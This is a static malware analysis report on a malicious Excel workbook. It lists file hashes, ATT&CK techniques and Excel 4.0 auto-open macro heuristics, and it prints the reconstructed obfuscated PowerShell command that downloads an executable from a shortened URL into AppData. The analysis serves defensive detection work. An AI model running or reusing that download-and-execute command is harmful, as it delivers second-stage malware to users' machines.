Malicious Office (OLE) / .XLSX — malware analysis report

Static analysis result for SHA-256 2a98b6f100a8299c…

MALICIOUS

Office (OLE) / .XLSX

116.0 KB Created: 2021-02-06 22:23:31 Authoring application: Microsoft Excel
MD5: 0a65d234261b897a5d124f961352fa27 SHA-1: 2b7a6427b45d6822c7e91a91f699e6c405998181 SHA-256: 2a98b6f100a8299c72fb73ea4de61236c30212958462d7ffa72b09b2350d78dc
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 PowerShell T1204.002 Malicious File

The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_DANGEROUS_FN indicate the presence of an Excel 4.0 macro designed to execute automatically. The macro constructs and executes a PowerShell command that downloads a file from 'https://bit.ly/3bgs39g' and saves it as 'tw.exe' in the user's AppData directory, likely to run a second-stage payload. The obfuscated PowerShell command is reconstructed as 'powershell -w 1 (nEw-oB`jecT Ne' + 't' + '.' + 'W' + 'e' + 'bCL`I`eNT).('D' + 'ow' + 'n'+'lo' + 'adF' + 'i' + 'le').In' + 'v' + 'ok' + 'D108' + '("'+'h' + 'ttps://bit.ly/3bgs39g','tw' + '.' + 'exe')'.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
053c628ebeee8ae28906bc694a1d74603c3579540528dd6203e1d911f776208a		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1236 bytes

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